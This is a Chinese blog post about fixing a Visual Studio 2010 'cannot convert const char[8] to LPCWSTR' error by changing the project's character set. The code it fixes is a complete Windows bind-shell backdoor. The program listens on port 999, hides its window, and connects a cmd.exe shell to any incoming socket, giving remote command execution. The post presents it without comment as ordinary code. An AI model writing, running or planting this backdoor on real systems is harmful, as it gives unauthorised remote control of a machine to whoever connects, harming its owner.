首页 > 其他分享 >不能将参数 1 从“const char [8]”转换为“LPCWSTR”

不能将参数 1 从“const char [8]”转换为“LPCWSTR”

时间:2023-04-26 18:34:05浏览次数:50  
标签:const StartupInfo LPCWSTR SSocket char SockAddrIn ProcessInfo sizeof NULL


VS2010:

#include <winsock2.h>
#include <stdio.h>
#define MasterPort 999  //定义监听端口999
#pragma comment(lib, "ws2_32.lib")
int main()
{
  WSADATA WSADa;
  struct sockaddr_in SockAddrIn;
  SOCKET CSocket,SSocket;
  int iAddrSize;
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;
  char szCMDPath[255];
   //分配内存资源,初始化数据:
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
    //获取cmd路径
  GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
    //加载ws2_32.dll:
  WSAStartup(0x0202,&WSADa);
  //设置本地信息和绑定协议,建立socket,代码如下:
  SockAddrIn.sin_family = AF_INET;
  SockAddrIn.sin_addr.s_addr = INADDR_ANY;
  SockAddrIn.sin_port = htons(MasterPort);
  CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  //设置绑定端口999:
  bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
  //设置服务器端监听端口:
  listen(CSocket,1);
  iAddrSize = sizeof(SockAddrIn);
  //开始连接远程服务器,并配置隐藏窗口结构体:
  SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  StartupInfo.hStdInput = (HANDLE)SSocket;
  StartupInfo.hStdOutput = (HANDLE)SSocket;
  StartupInfo.hStdError = (HANDLE)SSocket;
  //创建匿名管道:
  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  //关闭进程句柄:
  closesocket(CSocket);
  closesocket(SSocket);
  WSACleanup();
  //关闭连接卸载ws2_32.dll
  return 0;
}



报错:不能将参数 1 从“const char [8]”转换为“LPCWSTR”


解决办法:

选中项目,然后点击属性——>配置属性——>常规——>项目默认值——>字符集,选为“使用多字节字符集"

不能将参数 1 从“const char [8]”转换为“LPCWSTR”_#pragma

标签:const,StartupInfo,LPCWSTR,SSocket,char,SockAddrIn,ProcessInfo,sizeof,NULL
From: https://blog.51cto.com/u_1002776/6228455

相关文章

  • pycharm中python测试一直‘Instantiating tests...’转圈
    问题描述:defget_formatted_name(first,last):"""生成简洁的姓名"""full_name=first+""+lastreturnfull_name.title()importunittestfromname_functionimportget_formatted_nameclassNamesTestCase(unit......
  • POJ 3352 Road Construction 边双联通分量
    题目:http://poj.org/problem?id=3352题意:加上最少的边,使得改造后的图中去掉任意一条边后图依然连通,题中任意两个点之间不会有重边思路:删掉任意一条边图依然连通,意味着任意两点间有至少两条通路。对于边双连通分量内的任意两点,至少会有两条通路,所以求边双连通分量,缩点,求出度为1的点......
  • 去除echart鼠标经过图表时默认背景黄色问题
    废话不说,上代码:策一://注册mouseover事件,去除hover样式myChart.on("mouseover",function(){myChart.dispatchAction({type:"downplay",})})策二(荐):geo:{emphasis:{disabled:true},}写在最后duang~这时候产品站出来了,说我要在......
  • 解决Python中报错RequestsDependencyWarning: urllib3 (1.26.9) or chardet (5.1.0)/c
      在运行requests包时,出现了以下报错信息:RequestsDependencyWarning:urllib3(1.26.9)orchardet(5.1.0)/charset_normalizer(2.0.12)doesn'tmatchasupportedversion!warnings.warn("urllib3({})orchardet({})/charset_normalizer({})doesn'tmatchasu......
  • let & const 与 var 的区别
    变量声明var 通过var声明的变量会直接声明到全局(window)作用域上 for(vari=0;i<3;i++){console.log(i);}console.log(i);console.log(window.i);//01233 问题:var声明的变量如果想实现局部作用域只能通过函数作用域来实现......
  • uni-app中使用uCharts图表设置横向滚动无法滑动。
    opts:{ color:["#1890FF","#91CB74","#FAC858","#EE6666","#73C0DE","#3CA272","#FC8452","#9A60B4","#ea7ccc"], padding:[15,10,0,0], enableScroll:true, upd......
  • Echarts4.0 迁徙图模拟Echarts2.0样式
     由于公司业务需求做Echarts4.0的迁徙图,但是Echarts4.0默认的迁徙图的飞行轨迹和迁徙线的颜色都是一样的,比较单调,现在模拟Echarts2.0的样式模拟了一个demo,虽然没有全部相同,但大体相近。备忘一下letminigrateChart=echarts.init(document.getElementById("MinigrateChart"));......
  • static与const的区别
    static是c++中非常常用的修饰符,他被用来控制变量的存储方式和可见性,下面我将从static修饰符的产生原因、作用谈起,全方面分析static修饰符的实质。static的两大作用:一、控制存储方式:static被引入以告知编译器,将变量存储在程式的静态存储区而非栈上空间。1、......
  • @PostConstruct的顺序
    其实从依赖注入的字面意思就可以知道,要将对象p注入到对象a,那么首先就必须得生成对象p与对象a,才能执行注入。所以,如果一个类A中有个成员变量p被@Autowired注解,那么@Autowired注入是发生在A的构造方法执行完之后的。如果想在生成对象时候完成某些初始化操作,而偏偏这些初始化操作又......
  • 《爆肝整理》保姆级系列教程-玩转Charles抓包神器教程(15)-Charles如何配置反向代理
    1.简介在App开发的过程当中,抓包是一个很常见的需求,而有些app的请求不会在网络设置代理时被抓到数据包,这里若是需要抓包就需要搭建反向代理。2.什么是代理?什么是代理,来一张图了解一下。 代理又分为正向代理和反向代理。3.什么是正向代理?先来看张图~【再举个栗子】某同......